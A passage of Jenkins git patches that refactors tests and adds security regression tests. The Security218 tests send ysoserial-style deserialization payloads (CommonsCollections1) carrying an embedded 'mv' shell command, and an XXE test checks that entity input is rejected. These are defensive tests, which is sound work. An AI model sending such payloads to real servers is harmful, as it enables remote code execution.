org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.LoggerRule; import org.jvnet.hudson.test.TestExtension; -public class QueueTaskDispatcherTest extends HudsonTestCase { +public class QueueTaskDispatcherTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); - @SuppressWarnings("deprecation") - public void testCanRunBlockageIsDisplayed() throws Exception { - FreeStyleProject project = createFreeStyleProject(); - jenkins.getQueue().schedule(project); + @Rule + public LoggerRule logging = new LoggerRule().record(Queue.class, Level.ALL); - Item item = jenkins.getQueue().getItem(project); + @Test + public void canRunBlockageIsDisplayed() throws Exception { + FreeStyleProject project = r.createFreeStyleProject(); + r.jenkins.getQueue().schedule(project); + + Item item = r.jenkins.getQueue().getItem(project); for (int i = 0; i < 4 * 60 && !item.isBlocked(); i++) { Thread.sleep(250); - item = jenkins.getQueue().getItem(project); + item = r.jenkins.getQueue().getItem(project); } assertTrue("Not blocked after 60 seconds", item.isBlocked()); assertEquals("Expected CauseOfBlockage to be returned", "blocked by canRun", item.getWhy()); } - @TestExtension + @TestExtension("canRunBlockageIsDisplayed") public static class MyQueueTaskDispatcher extends QueueTaskDispatcher { @Override public CauseOfBlockage canRun(Item item) { @@ -34,4 +51,41 @@ public class QueueTaskDispatcherTest extends HudsonTestCase { }; } } + + @Issue("JENKINS-38514") + @Test + public void canTakeBlockageIsDisplayed() throws Exception { + FreeStyleProject project = r.createFreeStyleProject(); + r.jenkins.getQueue().schedule(project); + Queue.Item item; + while (true) { + item = r.jenkins.getQueue().getItem(project); + if (item.isBuildable()) { + break; + } + Thread.sleep(100); + } + CauseOfBlockage cob = item.getCauseOfBlockage(); + assertNotNull(cob); + assertThat(cob.getShortDescription(), containsString("blocked by canTake")); + StringWriter w = new StringWriter(); + TaskListener l = new StreamTaskListener(w); + cob.print(l); + l.getLogger().flush(); + assertThat(w.toString(), containsString("blocked by canTake")); + } + + @TestExtension("canTakeBlockageIsDisplayed") + public static class AnotherQueueTaskDispatcher extends QueueTaskDispatcher { + @Override + public CauseOfBlockage canTake(Node node, Queue.BuildableItem item) { + return new CauseOfBlockage() { + @Override + public String getShortDescription() { + return "blocked by canTake"; + } + }; + } + } + } diff --git a/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java b/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java index 3747d64cca..ce0361282b 100644 --- a/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java +++ b/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java @@ -24,42 +24,41 @@ package hudson.slaves; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; - -import java.util.List; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.TimeoutException; - import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; -import hudson.model.Messages; import hudson.model.Node; -import hudson.model.Result; +import hudson.model.Queue; import hudson.model.Queue.BuildableItem; -import hudson.model.Queue.Task; +import hudson.model.Result; import hudson.model.Slave; import hudson.model.queue.CauseOfBlockage; +import java.util.List; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.SleepBuilder; -import org.jvnet.hudson.test.HudsonTestCase; +public class NodeCanTakeTaskTest { -public class NodeCanTakeTaskTest extends HudsonTestCase { - @Override - protected void setUp() throws Exception { - super.setUp(); + @Rule + public JenkinsRule r = new JenkinsRule(); + @Issue({"JENKINS-6598", "JENKINS-38514"}) + @Test + public void takeBlockedByProperty() throws Exception { // Set master executor count to zero to force all jobs to slaves - jenkins.setNumExecutors(0); - } - - public void testTakeBlockedByProperty() throws Exception { - Slave slave = createSlave(); - FreeStyleProject project = createFreeStyleProject(); + r.jenkins.setNumExecutors(0); + Slave slave = r.createSlave(); + FreeStyleProject project = r.createFreeStyleProject(); // First, attempt to run our project before adding the property Future build = project.scheduleBuild2(0); - assertBuildStatus(Result.SUCCESS, build.get(20, TimeUnit.SECONDS)); + r.assertBuildStatus(Result.SUCCESS, build.get(20, TimeUnit.SECONDS)); // Add the build-blocker property and try again slave.getNodeProperties().add(new RejectAllTasksProperty()); @@ -69,21 +68,43 @@ public class NodeCanTakeTaskTest extends HudsonTestCase { build.get(10, TimeUnit.SECONDS); fail("Expected timeout exception"); } catch (TimeoutException e) { - List buildables = jenkins.getQueue().getBuildableItems(); + List buildables = r.jenkins.getQueue().getBuildableItems(); assertNotNull(buildables); assertEquals(1, buildables.size()); BuildableItem item = buildables.get(0); assertEquals(project, item.task); assertNotNull(item.getCauseOfBlockage()); - assertEquals(Messages.Queue_WaitingForNextAvailableExecutor(), item.getCauseOfBlockage().getShortDescription()); + assertEquals("rejecting everything", item.getCauseOfBlockage().getShortDescription()); } } private static class RejectAllTasksProperty extends NodeProperty { @Override - public CauseOfBlockage canTake(Task task) { - return CauseOfBlockage.fromMessage(null); + public CauseOfBlockage canTake(BuildableItem item) { + return new CauseOfBlockage() { + @Override + public String getShortDescription() { + return "rejecting everything"; + } + }; } } + + @Test + public void becauseNodeIsBusy() throws Exception { + Slave slave = r.createSlave(); + FreeStyleProject project = r.createFreeStyleProject(); + project.setAssignedNode(slave); + project.setConcurrentBuild(true); + project.getBuildersList().add(new SleepBuilder(Long.MAX_VALUE)); + project.scheduleBuild2(0).waitForStart(); // consume the one executor + project.scheduleBuild2(0); // now try to reschedule + Queue.Item item; + while ((item = r.jenkins.getQueue().getItem(project)) == null || !item.isBuildable()) { + Thread.sleep(100); + } + assertEquals(hudson.model.Messages.Queue_WaitingForNextAvailableExecutorOn(slave.getDisplayName()), item.getWhy()); + } + } -- GitLab From c4ee05bcaedcf545093a4b897cab8648fbc37c95 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 05:05:49 -0500 Subject: [PATCH 392/712] Make sure Security218BlackBoxTest cleans up threads it starts (#2642) * Make sure Security218BlackBoxTest cleans up threads it starts. * Some code simplifications, and possible leak fixes, based on CLI now being AutoCloseable. * Obsolete comment. --- cli/src/main/java/hudson/cli/CLI.java | 5 +-- .../test/java/hudson/cli/CLIActionTest.java | 4 +-- .../java/hudson/model/ComputerSetTest.java | 6 +--- .../model/listeners/ItemListenerTest.java | 5 +-- .../security/CliAuthenticationTest.java | 10 ++---- .../security/Security218BlackBoxTest.java | 35 +++++++++++++++++-- .../jenkins/security/Security218CliTest.java | 13 +++---- 7 files changed, 48 insertions(+), 30 deletions(-) diff --git a/cli/src/main/java/hudson/cli/CLI.java b/cli/src/main/java/hudson/cli/CLI.java index 9eca2ec8ef..c11fcd546a 100644 --- a/cli/src/main/java/hudson/cli/CLI.java +++ b/cli/src/main/java/hudson/cli/CLI.java @@ -25,6 +25,7 @@ package hudson.cli; import hudson.cli.client.Messages; import hudson.remoting.Channel; +import hudson.remoting.NamingThreadFactory; import hudson.remoting.PingThread; import hudson.remoting.Pipe; import hudson.remoting.RemoteInputStream; @@ -80,7 +81,7 @@ import static java.util.logging.Level.*; * * @author Kohsuke Kawaguchi */ -public class CLI { +public class CLI implements AutoCloseable { private final ExecutorService pool; private final Channel channel; private final CliEntryPoint entryPoint; @@ -121,7 +122,7 @@ public class CLI { if(!url.endsWith("/")) url+='/'; ownsPool = exec==null; - pool = exec!=null ? exec : Executors.newCachedThreadPool(); + pool = exec!=null ? exec : Executors.newCachedThreadPool(new NamingThreadFactory(Executors.defaultThreadFactory(), "CLI.pool")); Channel _channel; try { diff --git a/test/src/test/java/hudson/cli/CLIActionTest.java b/test/src/test/java/hudson/cli/CLIActionTest.java index 87efece940..8a808673a4 100644 --- a/test/src/test/java/hudson/cli/CLIActionTest.java +++ b/test/src/test/java/hudson/cli/CLIActionTest.java @@ -65,10 +65,10 @@ public class CLIActionTest { @Test public void security218_take2() throws Exception { pool = Executors.newCachedThreadPool(); - try { + try (CLI cli = new CLI(j.getURL())) { List/**/ commands = new ArrayList(); commands.add(new Security218()); - new CLI(j.getURL()).execute(commands); + cli.execute(commands); fail("Expected the call to be rejected"); } catch (Exception e) { assertThat(Functions.printThrowable(e), containsString("Rejected: " + Security218.class.getName())); diff --git a/test/src/test/java/hudson/model/ComputerSetTest.java b/test/src/test/java/hudson/model/ComputerSetTest.java index 82f5689fd2..56878bf4cd 100644 --- a/test/src/test/java/hudson/model/ComputerSetTest.java +++ b/test/src/test/java/hudson/model/ComputerSetTest.java @@ -27,7 +27,6 @@ import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.contains; import static org.hamcrest.Matchers.containsInAnyOrder; import static org.hamcrest.Matchers.empty; -import static org.hamcrest.Matchers.hasSize; import static org.hamcrest.Matchers.is; import static org.junit.Assert.assertTrue; @@ -70,16 +69,13 @@ public class ComputerSetTest { public void nodeOfflineCli() throws Exception { DumbSlave s = j.createSlave(); - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { assertTrue(cli.execute("wait-node-offline","xxx")!=0); assertTrue(cli.execute("wait-node-online",s.getNodeName())==0); s.toComputer().disconnect().get(); assertTrue(cli.execute("wait-node-offline",s.getNodeName())==0); - } finally { - cli.close(); } } diff --git a/test/src/test/java/hudson/model/listeners/ItemListenerTest.java b/test/src/test/java/hudson/model/listeners/ItemListenerTest.java index 2353e1be9c..bf19e6ea0d 100644 --- a/test/src/test/java/hudson/model/listeners/ItemListenerTest.java +++ b/test/src/test/java/hudson/model/listeners/ItemListenerTest.java @@ -66,8 +66,7 @@ public class ItemListenerTest { public void onCreatedViaCLI() throws Exception { ByteArrayOutputStream buf = new ByteArrayOutputStream(); PrintStream out = new PrintStream(buf); - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { cli.execute(Arrays.asList("create-job", "testJob"), new ByteArrayInputStream(("" + "").getBytes()), @@ -75,8 +74,6 @@ public class ItemListenerTest { out.flush(); assertNotNull("job should be created: " + buf, j.jenkins.getItem("testJob")); assertEquals("onCreated event should be triggered: " + buf, "C", events.toString()); - } finally { - cli.close(); } } } diff --git a/test/src/test/java/hudson/security/CliAuthenticationTest.java b/test/src/test/java/hudson/security/CliAuthenticationTest.java index 7080fa501f..52b17fc9eb 100644 --- a/test/src/test/java/hudson/security/CliAuthenticationTest.java +++ b/test/src/test/java/hudson/security/CliAuthenticationTest.java @@ -43,22 +43,16 @@ public class CliAuthenticationTest { } private int command(String... args) throws Exception { - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { return cli.execute(args); - } finally { - cli.close(); } } private String commandAndOutput(String... args) throws Exception { - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); cli.execute(Arrays.asList(args), new NullInputStream(0), baos, baos); return baos.toString(); - } finally { - cli.close(); } } diff --git a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java index c4a5b0f275..4776ee92e4 100644 --- a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java +++ b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java @@ -29,6 +29,7 @@ import hudson.cli.CLI; import hudson.cli.CliPort; import hudson.remoting.BinarySafeStream; import hudson.util.DaemonThreadFactory; +import hudson.util.NamingThreadFactory; import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; import java.io.File; @@ -40,13 +41,17 @@ import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.URL; +import java.util.ArrayList; +import java.util.List; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; import jenkins.security.security218.ysoserial.util.Serializables; +import org.junit.AfterClass; import static org.junit.Assert.*; +import org.junit.BeforeClass; import org.junit.Test; import org.junit.Rule; import org.jvnet.hudson.test.JenkinsRule; @@ -60,7 +65,22 @@ public class Security218BlackBoxTest { assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null)); } - private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory()); + private static ExecutorService executors; + private static List closables; + + @BeforeClass public static void startExecutors() throws Exception { + executors = Executors.newCachedThreadPool(new NamingThreadFactory(new DaemonThreadFactory(), "Security218BlackBoxTest.executors")); + closables = new ArrayList<>(); + } + + @AfterClass public static void shutdownExecutors() throws Exception { + for (AutoCloseable c : closables) { + c.close(); + } + closables = null; + executors.shutdownNow(); + executors.awaitTermination(5, TimeUnit.MINUTES); // >3m test timeout, so we will get a failure + thread dump if this does not work + } @Rule public JenkinsRule r = new JenkinsRule(); @@ -81,18 +101,25 @@ public class Security218BlackBoxTest { for (int round = 0; round < 2; round++) { final int _round = round; final ServerSocket proxySocket = new ServerSocket(0); + closables.add(proxySocket); executors.submit(new Runnable() { @Override public void run() { try { Socket proxy = proxySocket.accept(); + closables.add(proxy); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); String host = conn.getHeaderField("X-Jenkins-CLI-Host"); Socket real = new Socket(host == null ? url.getHost() : host, conn.getHeaderFieldInt("X-Jenkins-CLI-Port", -1)); + closables.add(real); final InputStream realIS = real.getInputStream(); + closables.add(realIS); final OutputStream realOS = real.getOutputStream(); + closables.add(realOS); final InputStream proxyIS = proxy.getInputStream(); + closables.add(proxyIS); final OutputStream proxyOS = proxy.getOutputStream(); + closables.add(proxyOS); executors.submit(new Runnable() { @Override public void run() { @@ -248,12 +275,14 @@ public class Security218BlackBoxTest { // Bypassing _main because it does nothing interesting here. // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. try { - new CLI(r.getURL()) { + CLI cli = new CLI(r.getURL()) { @Override protected CliPort getCliTcpPort(String url) throws IOException { return new CliPort(new InetSocketAddress(proxySocket.getInetAddress(), proxySocket.getLocalPort()), /* ignore identity */ null, 1); } - }.execute("help"); + }; + closables.add(cli); + cli.execute("help"); } catch (Exception x) { x.printStackTrace(); } diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 87d8026221..b6eca3ab30 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -32,7 +32,6 @@ import java.io.File; import java.io.PrintStream; import jenkins.security.security218.Payload; import org.jenkinsci.remoting.RoleChecker; -import org.junit.Ignore; import org.junit.Test; import static org.junit.Assert.*; import org.junit.Rule; @@ -176,11 +175,13 @@ public class Security218CliTest { // Bypassing _main because it does nothing interesting here. // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. - int exitCode = new CLI(r.getURL()).execute("send-payload", - payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath()); - assertEquals("Unexpected result code.", expectedResultCode, exitCode); - assertTrue("Payload should not invoke the move operation " + file, !moved.exists()); - file.delete(); + try (CLI cli = new CLI(r.getURL())) { + int exitCode = cli.execute("send-payload", + payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath()); + assertEquals("Unexpected result code.", expectedResultCode, exitCode); + assertTrue("Payload should not invoke the move operation " + file, !moved.exists()); + file.delete(); + } } @TestExtension() -- GitLab From ba2900b27dba97c70d2bdbce043b752907ea7ea3 Mon Sep 17 00:00:00 2001 From: andrealaura Date: Fri, 9 Dec 2016 11:23:58 +0100 Subject: [PATCH 393/712] =?UTF-8?q?[FIX=20JENKINS-36044]:=20Added=20defaul?= =?UTF-8?q?t=20locale=20to=20XMLUtilsTest=20so=20that=20it=20=E2=80=A6=20(?= =?UTF-8?q?#2649)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [FIX JENKINS-36044]: Added default locale to XMLUtilsTest so that it runs independent from the host OS locale. * [FIX JENKINS-36044]: Cleanup default-locale after test, to avoid impact to other tests. * [FIX JENKINS-36044]: Make test language indepedent. * [FIX JENKINS-36044]: Cleanup unused imports. --- core/src/test/java/jenkins/xml/XMLUtilsTest.java | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/core/src/test/java/jenkins/xml/XMLUtilsTest.java b/core/src/test/java/jenkins/xml/XMLUtilsTest.java index aac8ab8e53..55b0d806bb 100644 --- a/core/src/test/java/jenkins/xml/XMLUtilsTest.java +++ b/core/src/test/java/jenkins/xml/XMLUtilsTest.java @@ -42,7 +42,6 @@ import javax.xml.xpath.XPathExpressionException; import static org.hamcrest.core.StringContains.containsString; import static org.junit.Assert.assertThat; import org.jvnet.hudson.test.Issue; -import org.w3c.dom.Document; import org.xml.sax.SAXException; public class XMLUtilsTest { @@ -127,10 +126,10 @@ public class XMLUtilsTest { "&xxe;"; StringReader stringReader = new StringReader(xml); - Document doc = XMLUtils.parse(stringReader); + XMLUtils.parse(stringReader); Assert.fail("Expecting SAXException for XXE."); } catch (SAXException e) { - assertThat(e.getMessage(), containsString("DOCTYPE is disallowed")); + assertThat(e.getMessage(), containsString("\"http://apache.org/xml/features/disallow-doctype-decl\"")); } } } -- GitLab From e43222dde84be0ea7d05647790fedc12d70f8052 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Fri, 9 Dec 2016 12:00:43 +0100 Subject: [PATCH 394/712] [FIX JENKINS-39700] Don't fail when no parameters property for job --- core/src/main/java/hudson/model/Job.java | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index b0cbe82a22..9dc1e2752a 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1231,8 +1231,6 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); JSONObject jsonProperties = json.optJSONObject("properties"); if (jsonProperties != null) { - //This handles the situation when Parameterized build checkbox is checked but no parameters are selected. User will be redirected to an error page with proper error message. - Job.checkForEmptyParameters(jsonProperties); t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); } else { t.clear(); @@ -1537,18 +1535,4 @@ public abstract class Job, RunT extends Run Date: Fri, 9 Dec 2016 12:46:24 +0000 Subject: [PATCH 395/712] [JENKINS-39300] Update tests --- .../hudson/cli/DeleteViewCommandTest.java | 11 +++-- test/src/test/java/hudson/model/ApiTest.java | 4 +- .../hudson/model/MyViewsPropertyTest.java | 47 ++++++++++--------- 3 files changed, 32 insertions(+), 30 deletions(-) diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index d9ff9f708a..7280a65b29 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -33,6 +33,7 @@ import static hudson.cli.CLICommandInvoker.Matcher.hasNoStandardOutput; import static hudson.cli.CLICommandInvoker.Matcher.succeededSilently; import static hudson.cli.CLICommandInvoker.Matcher.failedWith; +import hudson.model.AllView; import java.io.IOException; import hudson.model.ListView; @@ -116,12 +117,12 @@ public class DeleteViewCommandTest { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) - .invokeWithArgs("All") + .invokeWithArgs(AllView.DEFAULT_VIEW_NAME) ; assertThat(result, failedWith(4)); assertThat(result, hasNoStandardOutput()); - assertThat(j.jenkins.getView("All"), notNullValue()); + assertThat(j.jenkins.getView(AllView.DEFAULT_VIEW_NAME), notNullValue()); assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete 'All' view")); } @@ -262,15 +263,15 @@ public class DeleteViewCommandTest { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) - .invokeWithArgs("aView1", "aView2", "All"); + .invokeWithArgs("aView1", "aView2", AllView.DEFAULT_VIEW_NAME); assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); - assertThat(result.stderr(), containsString("All: Jenkins does not allow to delete 'All' view")); + assertThat(result.stderr(), containsString(AllView.DEFAULT_VIEW_NAME+": Jenkins does not allow to delete '"+ AllView.DEFAULT_VIEW_NAME+"' view")); assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); - assertThat(j.jenkins.getView("All"), notNullValue()); + assertThat(j.jenkins.getView(AllView.DEFAULT_VIEW_NAME), notNullValue()); } } diff --git a/test/src/test/java/hudson/model/ApiTest.java b/test/src/test/java/hudson/model/ApiTest.java index 44dd587878..cffde63571 100644 --- a/test/src/test/java/hudson/model/ApiTest.java +++ b/test/src/test/java/hudson/model/ApiTest.java @@ -99,7 +99,7 @@ public class ApiTest { @Issue("JENKINS-3267") public void wrappedOneItem() throws Exception { Page page = j.createWebClient().goTo("api/xml?wrapper=root&xpath=/hudson/view/name", "application/xml"); - assertEquals("All", page.getWebResponse().getContentAsString()); + assertEquals(""+ AllView.DEFAULT_VIEW_NAME+"", page.getWebResponse().getContentAsString()); } @Test @@ -118,7 +118,7 @@ public class ApiTest { @Test public void unwrappedOneItem() throws Exception { Page page = j.createWebClient().goTo("api/xml?xpath=/hudson/view/name", "application/xml"); - assertEquals("All", page.getWebResponse().getContentAsString()); + assertEquals(""+ AllView.DEFAULT_VIEW_NAME+"", page.getWebResponse().getContentAsString()); } @Test diff --git a/test/src/test/java/hudson/model/MyViewsPropertyTest.java b/test/src/test/java/hudson/model/MyViewsPropertyTest.java index 666a383d20..1abfcacd35 100644 --- a/test/src/test/java/hudson/model/MyViewsPropertyTest.java +++ b/test/src/test/java/hudson/model/MyViewsPropertyTest.java @@ -47,17 +47,17 @@ public class MyViewsPropertyTest { @Test public void testReadResolve() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.setUser(user); user.addProperty(property); property.readResolve(); - assertNotNull("Property should contains " + Messages.Hudson_ViewName() + " defaultly.", property.getView(Messages.Hudson_ViewName())); + assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME + " defaultly.", property.getView(AllView.DEFAULT_VIEW_NAME)); } @Test public void testSave() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -79,10 +79,10 @@ public class MyViewsPropertyTest { @Test public void testGetViews() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertTrue("Property should contains " + Messages.Hudson_ViewName(), property.getViews().contains(property.getView(Messages.Hudson_ViewName()))); + assertTrue("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo",property); property.addView(view); assertTrue("Property should contains " + view.name, property.getViews().contains(view)); @@ -91,10 +91,11 @@ public class MyViewsPropertyTest { @Test public void testGetView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertNotNull("Property should contains " + Messages.Hudson_ViewName(), property.getView(Messages.Hudson_ViewName())); + assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getView( + AllView.DEFAULT_VIEW_NAME)); View view = new ListView("foo",property); property.addView(view); assertEquals("Property should contains " + view.name, view, property.getView(view.name)); @@ -103,11 +104,11 @@ public class MyViewsPropertyTest { @Test public void testGetPrimaryView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); - assertEquals("Property should have primary view " + Messages.Hudson_ViewName() + " instead of " + property.getPrimaryView(). name,property.getView(Messages.Hudson_ViewName()), property.getPrimaryView()); + assertEquals("Property should have primary view " + AllView.DEFAULT_VIEW_NAME + " instead of " + property.getPrimaryView(). name,property.getView(AllView.DEFAULT_VIEW_NAME), property.getPrimaryView()); View view = new ListView("foo", property); property.addView(view); property.setPrimaryViewName(view.name); @@ -117,35 +118,35 @@ public class MyViewsPropertyTest { @Test public void testCanDelete() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); - assertFalse("Property should not enable to delete view " + Messages.Hudson_ViewName(), property.canDelete(property.getView(Messages.Hudson_ViewName()))); + assertFalse("Property should not enable to delete view " + AllView.DEFAULT_VIEW_NAME, property.canDelete(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo", property); property.addView(view); assertTrue("Property should enable to delete view " + view.name , property.canDelete(view)); property.setPrimaryViewName(view.name); assertFalse("Property should not enable to delete view " + view.name , property.canDelete(view)); - assertTrue("Property should enable to delete view " + Messages.Hudson_ViewName(), property.canDelete(property.getView(Messages.Hudson_ViewName()))); + assertTrue("Property should enable to delete view " + AllView.DEFAULT_VIEW_NAME, property.canDelete(property.getView(AllView.DEFAULT_VIEW_NAME))); } @Test public void testDeleteView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); boolean ex = false; try{ - property.deleteView(property.getView(Messages.Hudson_ViewName())); + property.deleteView(property.getView(AllView.DEFAULT_VIEW_NAME)); } catch(IllegalStateException e){ ex = true; } assertTrue("Property should throw IllegalStateException.", ex); - assertTrue("Property should contain view " + Messages.Hudson_ViewName(), property.getViews().contains(property.getView(Messages.Hudson_ViewName()))); + assertTrue("Property should contain view " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo", property); property.addView(view); ex = false; @@ -159,14 +160,14 @@ public class MyViewsPropertyTest { property.addView(view); property.setPrimaryViewName(view.name); assertTrue("Property should not contain view " + view.name , property.getViews().contains(view)); - property.deleteView(property.getView(Messages.Hudson_ViewName())); - assertFalse("Property should not contains view " + Messages.Hudson_ViewName(), property.getViews().contains(property.getView(Messages.Hudson_ViewName()))); + property.deleteView(property.getView(AllView.DEFAULT_VIEW_NAME)); + assertFalse("Property should not contains view " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); } @Test public void testOnViewRenamed() throws IOException, Failure, FormException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -180,7 +181,7 @@ public class MyViewsPropertyTest { @Test public void testAddView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -196,7 +197,7 @@ public class MyViewsPropertyTest { @Test public void testDoCreateView() throws Exception { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -213,7 +214,7 @@ public class MyViewsPropertyTest { @Test public void testGetACL() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -227,7 +228,7 @@ public class MyViewsPropertyTest { rule.jenkins.setSecurityRealm(rule.createDummySecurityRealm()); User user = User.get("User"); User user2 = User.get("User2"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); @@ -264,7 +265,7 @@ public class MyViewsPropertyTest { rule.jenkins.setSecurityRealm(rule.createDummySecurityRealm()); User user = User.get("User"); User user2 = User.get("User2"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); -- GitLab From 37419d5de23b7e4732c409daa637d899bd6c7052 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 10:06:35 -0500 Subject: [PATCH 396/712] [SECURITY-358] Restrict access to metadata used by WorkflowRun. --- .../jenkins/security/s2m/filepath-filter.conf | 3 + .../security/s2m/AdminFilePathFilterTest.java | 60 +++++++++++++++++++ .../{ => s2m}/DefaultFilePathFilterTest.java | 12 +--- 3 files changed, 64 insertions(+), 11 